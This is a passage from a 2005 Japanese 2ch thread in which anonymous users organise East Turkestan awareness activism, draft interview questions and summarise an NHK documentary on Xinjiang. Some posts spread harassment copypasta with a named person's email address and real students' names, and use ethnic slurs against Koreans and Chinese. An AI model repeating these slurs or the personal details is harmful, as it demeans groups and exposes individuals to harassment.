11:20頃から始まる予定だって

675 :507:2005/10/27(木) 23:06:36 ID:8L1+X37H0
帰宅しますた。
質問事項を纏めてみましたので、皆様ご確認下さいませ。
「長くてテラウザスwww」な方は申し訳ありませんが、各自あぼーんして下さい。

はじめに…
私たちの活動は「東トルキスタンにおいて中国が行っている非人道的な行為を、多くの方々に知っていただく」為の活動であって、
必ずしも「亡命政府支援」「東トルキスタンの独立支援」では無い事を説明した上でいくつかの質問にお答えいただこうかと考えています。
(無論各個人が「亡命政府支援」「東トルキスタンの独立支援」を行うことに反対するつもりは無いです…)
ノートPCで「まとめサイト」と差し支えなければ「991@おぱーい2氏のムービー」をお見せするつもりです。
また、掲示板の特性上色々な考えの人がいる為、参加者全員が必ずしも一枚岩では無い事もお伝えしておこうかと。
あと間違いがあったら皆に申し訳ないので「漏れは別に板の代表者でも何でも無い、単なる1参加者である事」も説明しておきます。

では以下、質問内容です

676 :670:2005/10/27(木) 23:06:40 ID:QNMYXgNV0
すみません、原稿で質問なのですが

「私達の声で、東トルキスタンの人々を命を助けることが」
とありますが
「私達の声で、東トルキスタンの人々の命を助けることが」
の間違いなのでしょうか?
それとも原稿のままで
「私達の声で、東トルキスタンの人々を、命を助けることが」
というニュアンスなのでしょうか?

>>661さんのを聞かせていただきましたが、
そちらでは「人々の命を」とおっしゃられているようなのですが・・。

677 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:06:48 ID:8RvvxP6Z0
■■■■祭りのお知らせ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

著作権なんざ一切無視の猛者出現!!!!!!!!!!!!!!!!!
ついに!洋楽板からタイーホ者キターーーーーーーーーーー!!!!!!!!!!!!!!!!!!!!!!!!

oasis Track55
http://music4.2ch.net/test/read.cgi/musice/1126637487/

488 名前:拳王 投稿日:2005/10/25(火) 21:12:58 ID:dzrEdThR

僕にオアシスベスト作ってほしい人。
またはバンドの垣根を越えて作って欲しい人。
どんな気分の時に聞きたいのか?あるいは「テーマ」を言ってもらえると
お作りします。受け渡し方法などはUPローダとか使う予定。
CDがほしい人は送ることもします。

riamriamriam-2005@mail.goo.ne.jp

音質はUPローダーならMP3だよ。CDならロスレスジャケつき。
期待しててね。ただし「おまかせ」とか「おすすめ」は受け付けません。
今、どんな気分なのか?振られたとか、御題とか僕にインスピレーションを
与えるものを何か書いて下さい。
オアシスオンリーなのか、垣根を越えて様々なバンドを入れるのかも決めてね。
じゃあ待ってるよ

犯人は在日の恐れあり??ただ今スレ内で、リアルタイムで絶賛ファビョン中!!!
 O A S IS 危 機 一 髪 ! 今 す ぐ に 記 念 下 記 子 汁!!!!!!!!!!!!!!!!!!!!!!!!!!!!1
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

678 :507:2005/10/27(木) 23:07:04 ID:8L1+X37H0
1)亡命政府に関して
・構成人員がどういった立場の方々なのか
・国際的な立場としてどの程度の正当性がある組織(政府?)なのか
・独立政府に対する世界各国の認知度はどの程度あるのか
・具体的な活動内容はどういったものなのか
・どういった有力支援者がいるのか
・トルキスタン現地の人々にどの程度指示されているのか
・「武力行使も辞さない」との声明を発表した「東トルキスタン解放組織」との関連性は
・亡命政府を支持する事で「テロ支援」に繋がる可能性が有るのではないか
・亡命政府には海外にも多くの支部があるが、此処の活動内容はどういったものか
・各支部がおかれている国の人々の反応はどういったものか
・寄付金の募集が行われているが、使用用途についての確認は可能なのか

679 :507:2005/10/27(木) 23:11:34 ID:8L1+X37H0
>>676
ご協力有難う御座います。
「人々の命を」で差し支えないかと思います。
宜しくお願い致します。

680 :507:2005/10/27(木) 23:12:06 ID:8L1+X37H0
2)東トルキスタンに関して
・該当地域には多くの少数民族が暮らしているが、各民族間の対立はないのか
・宗教的な対立はないのか
・現地での暮らしはどういったものか、できるだけ詳しく
・(1)と関連するが、現地の人々は亡命政府の存在を知っているのか
・現地の人達は本当に自由と開放を望んでいるのか(そもそも現地の人達に「支配されている」という認識があるのか)

681 :507:2005/10/27(木) 23:12:53 ID:8L1+X37H0
3)中国政府の弾圧に関して
・政治犯の投獄(処刑)・強制中絶・核実験以外にも何らかの弾圧が行われているのか
・現在でも続いているのか
・亡命政府のHPに記載されている犠牲者の数については、どのような根拠で導き出されているのか(具体的な裏づけがあるか)

682 :507:2005/10/27(木) 23:13:38 ID:8L1+X37H0
4)殿岡先生に関して
・事務所を開設するに当たって様々な困難があったとの事だが、具体的にはどういった物か
・先生自身の今後の活動予定は
・私たちの活動に関して、先生から要望、アドバイスのような物はあるか
・東トルキスタン関連の資料(文字・映像含め)をご紹介いただけないか

683 :507:2005/10/27(木) 23:14:10 ID:8L1+X37H0
5)その他
・二次元的模倣による紹介は侮蔑にあたらないか(とるきすタン関連)
・活動を行うにあたって「是だけは遣ってはいけない」といった注意事項があれば
・国内の大手マスメディア(主に新聞・ラジオ・テレビ)でこの問題を取り扱うのは、やはり難しいのか
・「日中記者交換協定」の拘束性はどの程度強いのか
・私たちの活動に対する中国側(あるいはそれに組する組織)からの干渉の可能性は有りうるか
・記念式典についての具体的な内容

684 :507:2005/10/27(木) 23:15:22 ID:8L1+X37H0
今のところこんな感じで考えています。
過去スレもざっと遡ってみましたが、記載漏れがありましたらご指摘下さい。
既に回答が出ている物もありますが、先生の方から改めてご回答いただくのも有りかなぁと。
(先生は亡命政府拠りの方ですから、多くはそちらの見解と重なるでしょうが)
あと、修正・追加も大歓迎ですので宜しく御願いします。

長文、失礼しました。

685 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 23:18:08 ID:c4NDWa9C0
>>676
すいません、誤字ですた。orz
「人々の命を」でお願いします。
読みにくい部分とかは、アドリブでも結構ですので。

一応、1分45秒程から2分程度にまとめていただければ幸いです。

(へたれサンプル音声うp先)
ttp://plasticdreams.tm.land.to/up/uploads/036.zip

686 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 23:23:24 ID:c4NDWa9C0
>>507
激しくGJ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

このすれ

687 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 23:26:23 ID:c4NDWa9C0
途中で、書き込んでしまった。(凹

このスレッドシリーズ始まって、1ヶ月も経ってないのね。
展開の速さが凄過ぎるwwwwまさに、VIPクオリティーだなwwwwww

さて、漏れは風呂入って仕事しますんで、暫く(数日間)断線します。

688 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/27(木) 23:30:48 ID:c4NDWa9C0
連投すまそ、最後に。

>>676
ご協力心から感謝いたします。
宜しくお願いいたします。

余談
後は、各国の音声バージョンを作れればいいなぁ・・・と思われ。
ネイティブな発音できる方、誰か知らね?

後、南米とかだと、確かスペイン語(ポルトガル語だったけ?)が主流の様だから
それも対応できておくと良いかも。

689 :たらこ@ミラー2:2005/10/27(木) 23:40:23 ID:iItwkEYd0
声優さんが来たの出だしづらいのですが Mac 付属の Speech 機能で喋らせてみました
http://plasticdreams.tm.land.to/up/uploads/038.mp3
たどたどしいのは機能自体元々英語のみに作ってあるのでご勘弁

690 :670:2005/10/27(木) 23:41:06 ID:QNMYXgNV0
>>676にお答え下さった皆様、有難う御座います。

もう一つ質問なのですが、
うpした音声はどのように使用されるのでしょうか?
考えられる可能性を全て挙げられて下さいましたら幸いです。

BS1、私も見ました。
こちらで書かれている内容とはかなり温度差がありますね。
現地の記者の方の厳しい表情が印象的でした。

691 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:46:29 ID:6vMf4QOF0
507さん、すげえ!
今からじっくり拝読します。

692 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:46:36 ID:tXwZGgwt0
今日の衛星第一の放送のまとめ。見ながら書いたところもあるから、違ってるところがあるかもしれんけど書きます。

前半は、新疆ウイグル自治区の経済開発について主に紹介され、
カザフスタンとの国境近くのホルゴスという町が中心となっている石油貿易が紹介されました。
デカいコンビナートが映されていて、中国全体の30%の石油をまかなう規模が伺えました。

中国政府が取材を認めた意図について、「世界に紹介することで、経済成長を示し、ウイグル地区の安定化を図る」
という目的があるのではないかと言っていました。

少数民族の暴動もあることについて、中国政府は、
「独立が活発になれば不安定になり、中国全体への影響も考えられるため、厳しく取り締まる姿勢を崩していない。」
と言っています。一方、
「少数民族と融和した社会を目指す。」
とも言っていました。

バスの爆破や200件を超えるテロが行われていることを中国は強調し、テロリストを取り締まることを言っています。
それに対してアメリカは「テロを口実にして、関係ない人まで抑圧している。」と批判しているようです。

ウイグルの学校も紹介されました。
中国語では教えていません。ただ、中国に反発するような授業でもないようで、
中国の法律を守って教育を行う、ということも言われていました。

独立の動きについて、現在は表面上は安定しているとする一方、
ウイグルの町の人に尋ねたら、中国人はイスラムの教えを守らないから嫌いだ、と言う人もいます。

経済発展が地域に貢献しているようですが、大企業は中国のものだったり、
過疎地域では平均年収が日本円で2万円とも言われ、
経済成長の成果を分け合うことが鍵だと番組では締め括られました。


693 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:52:32 ID:6vMf4QOF0
>>692
ありがとう、BS見れない俺は感謝です。
>中国全体の30%の石油をまかなう規模が伺えました。

こりゃ、中狂は維持でも東トを手放さないね。

694 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:54:40 ID:9P2rqq990
俺も内容投下していい?

695 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:56:49 ID:FhvqPZSFO
お願いします

696 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:57:11 ID:VNPuHQsM0
http://music4.2ch.net/test/read.cgi/suisou/1130422780/

18 名前:名無し行進曲[sage] 投稿日:2005/10/27(木) 23:53:15 ID:KQ6IPSiW
>>17
このスレを、削除汁!
無駄スレ。容量の無駄。
ついでにVIPPER氏ね。
いまからお前らを叩きまくってやるから、覚悟汁!
ついでにラウンコモナー。


697 :以下、名無しにかわりましてVIPがお送りします:2005/10/27(木) 23:58:47 ID:OVcj1Ck40
>>692
200件のテロ、ってのは裏を取りたいね。
取りようがないんだろうけど・・・

698 :内容1:2005/10/27(木) 23:58:49 ID:9P2rqq990
東トルキスタンについて
・かつてシルクロードの交易で栄えたウイグル自治区(東トルキスタン)は経済拠点として生まれ変わろうとしている
・イスラム教徒の遊牧民が住んでいる
・マンション、高層ビルが建設され交通量も増加。経済発展を支えるのは石油コンビナート
・少数民族が多数を占め、分離独立運動が行なわれていた(過去形!)地域
・学校のスローガンは祖国を統一すること
・授業は中国語を話せない東トルキスタンの人のためにウイグル語で行なわれる
・卒業後宗教指導者になったりする。ある人は故郷の人にイスラムのいいところを伝えたいと言っていた
・この学校関係者は中国の法律とかに従うのは当然と言った
・学校を作ることで中国政府はイスラム教指導者とのいい関係を作りたい
・学校教育ではウイグル語だが、中国語が出来ないと就職等で不利
・南部では年収2万以下

699 :内容2:2005/10/27(木) 23:59:34 ID:9P2rqq990
石油関係について
・年間600万トンの石油を精製
・それでも足らないのでカザフから輸入
・カザフスタンとパイプラインで石油コンビナートがつながる
・カザフスタンとの関係強化をしたいらしい
・ホルゴスがカザフとの関係で重要都市
・4000億使って新しい精製工場を三年後に完成させる
・カザフとの国境には警備隊がいる
・ホルゴスに経済開発区を作っているし、大規模な貿易センターも建設
・人口を現在の10倍50万にしたい

700 :内容3:2005/10/28(金) 00:01:12 ID:YkSYYIDL0
その他NHK記者の報告など
・取材を認めた狙いは外国向けに地域の安定と今後の成長を宣伝したい
・中国はウイグル分離独立運動に対して経済発展に影響を及ぼすとして厳しく取り締まるとしている。少数民族と融和した社会を目指すw
・分離独立運動は北部では表面的には安定
・住民に聞くとイスラムの教えを守らないので好きじゃないと答えた
・90年代以降200件以上のテロ発生と中国様は言っている
・テロの被害者としてテロを取り締まっているがテロと関係ない人の人権が侵害されているとアメリカなどがいう
・経済発展が地域の発展に貢献している
・でも入ってくる企業は中国の大企業漢族
・東トルキスタンには中国全土の石油と天然ガス30%と石炭40%がある
・農場や工業用地として開発可能
・経済成長でウイグルの人とうまくやっていける

701 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:02:23 ID:YkSYYIDL0
メモりきれないところもありましたがこんな感じです。
中国政府の担当者は王なんとかっていう名前でした。

702 :fjell:2005/10/28(金) 00:02:35 ID:xf252oj30
>>652 507氏。質問事項、すばらしいー。回答をお待ちしております。

亡命政府や現地の現状も知りたいですし、
>・活動を行うにあたって「是だけは遣ってはいけない」といった注意事項
↑コレ、重要だなぁと思いました。

殿岡事務所に参加申し込みの方法を問い合わせたのは、
事前の登録が必要なのかどうかということを知りたかったので。
直前に腹を括って申し込んでも、間に合わないかもなぁ、と思って。
現地集合方式だったのは、ちょっと意外。お気楽にどうぞ、という感じですね。

>>649 そうですね。ポストエンジニアリング作業が大変ですなぁ。
たまにレコーディング案件を担当するんですけど、途中だけ撮り直して
つなぎ合わせても違和感がないので、さすがプロー!と毎度ホレボレします。

声優さん期待age


703 :692:2005/10/28(金) 00:04:54 ID:iYgowHBm0
あ、すごい、ありがとうございます。
数字や内容について>>698-700が正しいと言うことでお願いします。

いくつか間違えてたぁ…

704 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:08:31 ID:h7qJpR8hO
>>701
乙です。
外国向けの宣伝は流石に抜かり無いな。
それでもテロのくだりは捏造の可能性アリようだが。

705 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:09:58 ID:YkSYYIDL0
>>703
どんどん進んでいくし、テキストエディタに起こしながら見てたんだけどこっちもそれほど自信がないです。

でもふいんきとか皆さんに掴んでもらえたら嬉しいです

706 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:11:37 ID:lsm61l8x0
692さん、内容nさんGJ。

707 :たらこ@ミラー2:2005/10/28(金) 00:20:48 ID:2vytP76Z0
>507,>692,>698-701
乙。文章を整形してミラー2へ転載しました。

708 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:23:03 ID:lsm61l8x0
そういえばモナパルトさんってお元気なのでしょうか。

709 :507:2005/10/28(金) 00:28:19 ID:2pau4rMN0
NHK、ウイグルの分離独立について触れますたね。ちょっと意外。
「何故独立運動が興っているのか」に付いての根幹の部分は華麗にスルー(AA略
中国政府が「少数民族の暴動、彼らはテロリスト」とか言ってると紹介してたお…(´・ω・`)
インタビューに答えるイスラム学院のオッサンの後ろの壁に「愛国愛教 団結併歩」と描かれててオモシロス。
ダムラハジ副院長「中国の法律に従うのは当然です。社会の安全や信仰を破壊する事は許せません」<釣り師?

ええと、200件テロについては殿岡氏にも尋ねてみます。


おまけ(うpローダお借りしました、感謝)

トルキスタン国旗eps
ttp://plasticdreams.tm.land.to/up/uploads/037.zip
バックプリント用eps(2パターン)
ttp://plasticdreams.tm.land.to/up/uploads/039.zip

どちらのデータも転載・改変自由ですが、下のデータは私的利用を前提に、やっつけ作成した物なので2〜3日で消去します。

皆さん、ほんとにお疲れ様です。ご意見があればお気軽にどぞ。
それでは、名無しに戻りますですノシ

710 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:28:56 ID:xdrUcbqF0
NHK番組である>>698-700をウイグル太郎さんや殿岡さんに
見てもらいたいね。
どんな感想があるだろう。

711 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:32:09 ID:OWOGUs+70
NHKまとめ人&たらこ氏GJですbbb

>>507
本日の質問とか頑張ってください!
質問の内容はよくできていると思います。
イラレ10で開いたのですが、Flagがずれてませんか?

712 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:34:04 ID:fwggxqN+0
wavファイルの結合ソフトってなかったかいな?教えてケロンパ(^・ω・^)

713 :710:2005/10/28(金) 00:38:51 ID:xdrUcbqF0
つーか、俺が今からウイグル太郎さんにメールするわ。
NHK番組への感想があり次第報告する。
NHKは偏向してるので信用できん。

714 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:39:56 ID:MVj5zv690
>>713
がむばれ。
おまいには期待しているぞ。

715 :fjell:2005/10/28(金) 00:41:22 ID:xf252oj30
NHK BS放送のまとめをupしてくださったみなさま、ありがとー。
番組を観ていないので、実際の内容とは違うかもしれないけれど。

私的な感想は「なるほど。団塊世代向けってやつ?」
国民一丸となって工業化を推進し、経済発展の道を邁進する中国はグレイトでハッピー
20年前の開発経済理論、そのまんまw まぁ、日本も通ってきた道ですけどね。

西尾幹二氏の日記、宮崎正弘氏を囲む−中国反日暴動の裏側(15)
http://nishio.main.jp/blog/archives/2005/06/post_176.html

地球資源と環境と人権と民族主権も大切にね、NHKさま

716 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:41:47 ID:32F3zN+u0
クラッシュな音声をアップしてやったぜ!

717 :たらこ@ミラー2:2005/10/28(金) 00:42:37 ID:2vytP76Z0
>712
winなら
MegaMixer
http://www.asahi-net.or.jp/~pa5t-mnck/
C-vine
http://www.vector.co.jp/soft/dl/win95/util/se222096.html
辺りなんでしょうか。ググった結果なんでおすすめかどうかは分かりません( ´・ω・`)
おまけに私はMac使い...

718 :507:2005/10/28(金) 00:48:22 ID:2pau4rMN0
名無しに戻るつもりでしたが…

>>710
HD録画したので、殿岡氏には板に焼いて持っていくお。
太郎さんはおながいします。

>>711
んあ!!ズレテマシタカ??今お家にいるので修正は無理なり。
削除パスは無いので、差し支え無ければ差し替えて頂けませんか?
ちなみに漏れもイラレ10使用れす。

>>712
体験版ですが…映像・音声編集ツールです。(win用)
http://download.sonymediasoftware.com/current/vegas60c-trial.exe
仕事で使ってますけど、軽くてお勧め。

質問内容を見直したんですけど、誤字がおおいですね。オバカサンでスミマセン。
お手数ですが、転載の際は修正お願いしますです。


719 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:48:47 ID:lsm61l8x0
>>716
いい雰囲気。GJ
ちょっとサ行とタ行の発音が気になるかな。
それと定周期で聞こえるノイズはなんだろ?w

720 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/28(金) 00:49:57 ID:I1X+f7uZ0
今風呂から出て北産業
音声編集の事なら、下記のソフトがいいですよ。

SoundEngine Free
http://www.cycleof5th.com/

>>声優氏
責任者ではないんですが、私の中で質問内容に対して
考えられることを、全て挙げておきます。

私の中では、主にネットラジオ等での東トルキスタン問題の啓蒙広告として、
配布を考えています。

・音声データの編集(音声レベルの修正やBGMのミキシング等
・国内外への音声データの配布。
・その他、動画等の素材に使用

・・・といったところでしょうか。

>>NHKテキストうp氏
乙!

721 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 00:55:47 ID:32F3zN+u0
>>719
わかんね、なんでか録る前からあの『ぶっぶっ』つー音が入るw
サ・タ行は苦手だ、任せろwwwww

722 :一兵士@電網遊撃隊 ◆mmYBMTf0Vk :2005/10/28(金) 01:04:12 ID:I1X+f7uZ0
>>716 声優氏
激しく乙!!!そしてGJ!!!!
なんとなく、聖戦士星矢の聖矢の声に似ている希ガスるのは漏れだけかな?w
それと既に指摘されてますが、定期的なノイズが気になりますね。

じゃぁ、これから仕事するお。ノシ

723 :fjell:2005/10/28(金) 01:06:12 ID:xf252oj30
くどくどとNHK話題でごめんなさい・・・

>>709
>NHK、ウイグルの分離独立について触れますたね。ちょっと意外。
触れない方が意外ですよん。
ウイグルの分離独立の件を織り交ぜなければ、本物の中共プロパガンダ番組ですって(笑。
まぁ、大前提が「ウイグル自治区=中国」という視点ですからね。
産業が興れば仕事が増えるし、経済発展したら、砂漠のオアシスでも
プラズマテレビで衛星放送が観れて、すごいハッピーじゃない?みたいな

ウイグルの人々が本当に望んでいるところは、そこにはないと思うし、
そろそろ、そういう「ダンス・ダンス・ダンスby村上春樹」的な価値観は
転換してサスティナブルな世界を、とか各国が考え始めた頃に
中国が台頭してきちゃった。。。orz
眠れる虎をお金で起こした、諸外国企業(日本筆頭)もよろしくないんですねどねー

産業を興したって、中国政府は富の配分っちゅー概念を持たないからね。
「人民共和国」という国名が泣いてますよ。
外国資本と中国共産党だけが、うはうは。

てか、ペトロカザフスタンの買収金、42億ドルもの資金があるなら、
もっと懐の深いところを見せてもいいのねー。
まだ日本からの謝罪と反省が必要ですか?
まぁ、42億ドルを払い切れるとも思えないけど。

724 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 01:07:52 ID:32F3zN+u0
>>722
ちょwww待wwwwww俺声優氏じゃナサスwwwwwwww
ただの潜伏兵wwタイミングがアレ過ぎましたwwwwwww

725 :710:2005/10/28(金) 01:15:04 ID:KSfeL8HE0
ウイグル太郎さんへのメール送信完了。
返信があり次第報告するね。

726 :君達!大変なことになってるぞ:2005/10/28(金) 01:23:51 ID:3DasUoQ60
東トルキスタン総合
http://travel2.2ch.net/test/read.cgi/oversea/1130317907/l50
2 名前: 異邦人さん [sage] 投稿日: 2005/10/26(水) 20:18:23 ID:h5gmdvie
(略、板ルール説明 )
☆ 中国旅行統一スレ ☆ 第二十三巻之二
http://travel2.2ch.net/test/read.cgi/oversea/1127549973/

★以下の行為は禁止されています。
 海外旅行板は海外旅行についての情報を交換する目的以外の
 スレッドを立てるのは厳重に禁止です。
3 名前: 異邦人さん 投稿日: 2005/10/26(水) 20:25:39 ID:jEwhiFxQ
>>2
東トルキスタンは中国ではない。
4 名前: 異邦人さん [sage] 投稿日: 2005/10/26(水) 20:58:20 ID:VayrHIBY
重複

新疆ウイグル自治区っていいよね♪
http://travel2.2ch.net/test/read.cgi/oversea/1010420583/

〜おしまい〜

727 :fjell:2005/10/28(金) 01:24:37 ID:xf252oj30
声優さんのボイス聞きました。
なんか、泣きそうな気持ちとか、怒りとか負の感情を
理性で押さえてますという感じがしていいですねー。(深読みしすぎ?)

ひとり、舞台の上で、届いた手紙を読み上げているような感じもします。
ウイグル太郎さんからの手紙...みたいな。

>>725 乙。ウイグル太郎さんが番組の件を知ったら、怒りそうな予感がする。。


728 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 01:28:28 ID:fwggxqN+0
支援ソフト指示サンクス、

「音読」って知らない人多いかもしれませんが、一応経験者です。
このテキストは、ちと読み上げて聞いて理解してもらおうと考えると読みにくい部分が感じましたので
改変しますた。

>>507氏のスゴスギ、100MB超えてる(・∀・;)

729 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 01:32:08 ID:qgoOEQfB0
>>507氏 乙 


730 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 01:47:54 ID:kZrCKRQE0
あげますよ

731 :670:2005/10/28(金) 02:11:47 ID:URBFPSys0
ナレーションっつーか語り、うpしますた。

>>720
お答えいただきまして、有難う御座います。
色々な使用法があるのですね。

>>716
おお、雰囲気いいですね!
コレ好きかも(*´ω`)

732 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 02:21:35 ID:2pau4rMN0
>>723
漏れの中ではもはや、NHKと朝日は半島及び中共のプロパガンダ局以外の何物でもないれすよw

>>723
声優の人キタ━━━━(゚∀゚)━━━━!!!!
ご協力有難う御座います。
もし差し支え無ければ、今後も顔を出して頂けると嬉しいです。
出来ればお知り合いの方々にも御知らせいただけると、なお嬉しかったり^^;
とにもかくにも、深く感謝致します。

さて…おまいらオヤスミ。ノシ

733 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 03:05:36 ID:D8rL82nR0
檄文
今、法政大学学生会館の存在が窮地に立たされています。
国家権力と法政大学当局の学生自治への不当な弾圧により法政大学学友4名が公安警察により逮捕されています。
その中には学生会館を運営している理事長と事務局長が含まれており、このままもし起訴されるようなことがあれば
学生会館を運営している法政大学学生連盟は混乱状態になるとして、学生単独管理という今の状況を法政大学
当局が不当に認めないこととなることが予想されます。
この事件の不当性は、理事長の逮捕容疑が威力業務妨害と建造物不法侵入とされているが、その事件の時間帯には
理事長はカレー屋でカレーを売っていたという証言が多数あることからも判断できるのである。この事件を利用して法政大学
当局が公安警察を介して学生自治を弾圧しようとしていることは明白である。大学当局による弾圧行為は1977年5月27日の308人
学友逮捕以来25年ぶりの不当行為である。この事実を法政大学学友及び関東学生探検連盟関係者諸氏は断固として認める
わけにはいかない。明日1月26日午後7時より、1・26法政大学当局追及学生集会が行われ、法政大学学生部長に対して公安警察を通じた
不当捜査の取りやめと大学当局が出した被害届の取り下げによる4人の学友の奪還釈放を要求する。不当逮捕は基本的人権の侵害
にあたる。それに抗議するため明日学友及び関東学生探検連盟関係諸氏に集会の参加を求める。関東学生探検連盟はその創設以来
法政大学学生会館を総会の会場として利用してきた。その恩義に報いるため、また我々の権利を守るため、関東学生探検連盟関係者
諸氏に集会の参加を呼びかけるものである。

1998年度関東学生探検連盟副会長  戸田聡 ・ 林剛
http://www.karin.sakura.ne.jp/~tanken/renmei/

後期探検報告会の講演者は 【本多勝一氏】(予定)
http://www.karin.sakura.ne.jp/~tanken/renmei/soukai/00/zenki-houkokukai-houkoku.htm

イラク侵略戦争断固阻止!ムスリム人民と連帯を!
http://www.surfline.ne.jp/ibn-stoda/saddamposter01.htm

http://www.geocities.co.jp/SilkRoad-Lake/4673/buinnsyoukai.htm
8回生 林剛 通信教育学部経済学部商業学科4年
部友 戸田聡 明治大学大学院文学研究科史学専攻博士前期過程3年

734 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 03:07:54 ID:MVj5zv690
本多かい…。

735 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 03:51:48 ID:fwggxqN+0
http://054.info/
[054_20416.zip] [受P目欄] Reading_trukestan_sample3 5.5MB 05/10/28/03:32:42 tk001_3.zip

うpった・・・ってもう根店の蚊!?みんなそうだよなそりゃ、ORZ




736 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 04:17:02 ID:2y5WkyUL0
>>735



737 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 06:38:38 ID:2pau4rMN0
おはようあげ

>>735


738 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 07:20:22 ID:OWOGUs+70
おはよう支援
霧が凄い 50mmくらいの視界

739 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 07:21:16 ID:OWOGUs+70
50m orzミリってアリエネ orz

声優の人来たんですか!すげー
協力有難うございます!!

740 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 08:52:52 ID:8c7jIknU0


741 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 09:27:11 ID:X8ZN2dkv0
支援あげ

742 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 09:56:32 ID:5DXvJ9Uu0
おはよう
天気よし@東京

743 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 09:58:52 ID:S9ReZOj90
東とるきすタソのAAはまだ?

744 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 10:03:36 ID:5DXvJ9Uu0
昨日は盛り上がってたんだね

今聞くことできないんだけど、朗読どれよさげ?
声優板からの人、協力有難う。このままここの住人になりましょう。

NHKのまとめ乙ですた。さすがNHKですな。

507氏、それだけの質問をまとめたのはすごい・・・
でもそれ全部回答もらおうとしたら、えらい時間かかるから、優先順位きめたほうがいいかも。
ってもう遅いかな・・・

745 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 12:08:06 ID:AohiQzev0
新しくここに来られた方たち >>744の言う事をきいてはなりません。
右翼の運動に動員されることはありませんよ。

746 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 12:18:16 ID:F7Lc8isQ0
ここで扱ってるのは人権問題。
右翼の活動とは違うでしょ。wwwwwww

747 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 12:38:55 ID:5DXvJ9Uu0
中国マンセーしない人はみんな右翼なんでしょ

748 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 12:51:15 ID:IRzRfvO90
日本共産党も、中国の共産党とは仲わるいらしいよ

749 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 12:58:44 ID:HVeadSNo0
まぁ特定アジアを定着させたいなら「特定ウヨク」「特定サヨク」の言葉もいっしょに流行らせていくべきでしょうな。
ホロン部に「特定ウヨク」とののしらせることによって、特定アジアの「特定」が当たり前になっていくわけです。


750 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 13:01:46 ID:wSEaCxv/0
よるまであげ

751 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 13:06:08 ID:F7Lc8isQ0
共産主義の中国の方が、
人権を弾圧していて、貧富の差が激しく、特権階級の搾取が激しい。おまけに覇権主義。

真面目な左翼の人こそ、中国の肩持っちゃマズイよ。




752 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 13:47:22 ID:jQVld0560
age

753 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 14:31:35 ID:2xmzh0Mr0
>>749
それおもしろいなぁ。特定右翼・特定左翼

754 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 14:32:46 ID:pUbMk4VB0
中国に密使を送ったと噂される日本経団連の理事 ttp://www.keidanren.or.jp/japanese/profile/pro014.html


755 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 14:38:53 ID:YkSYYIDL0
今回も駄目だったorz
ttp://www.infoseek.co.jp/Keyword?pg=ranking.html

756 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 14:59:45 ID:UZYZ/iQf0
支援あげ

週1でROMります。今は何もできないけどいずれ役に立てると思います。
そのときまでこの活動を見守っていきたいと思います。
VIPのみなさん、頑張ってください。


757 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 15:11:31 ID:zYtzEOV40
特定サヨク、特定ウヨクを流行らせてみる?

758 :以下、名無しにかわりましてVIPがお送りします:2005/10/28(金) 15:51:27 ID:tZ3Bd/3K0
>>755
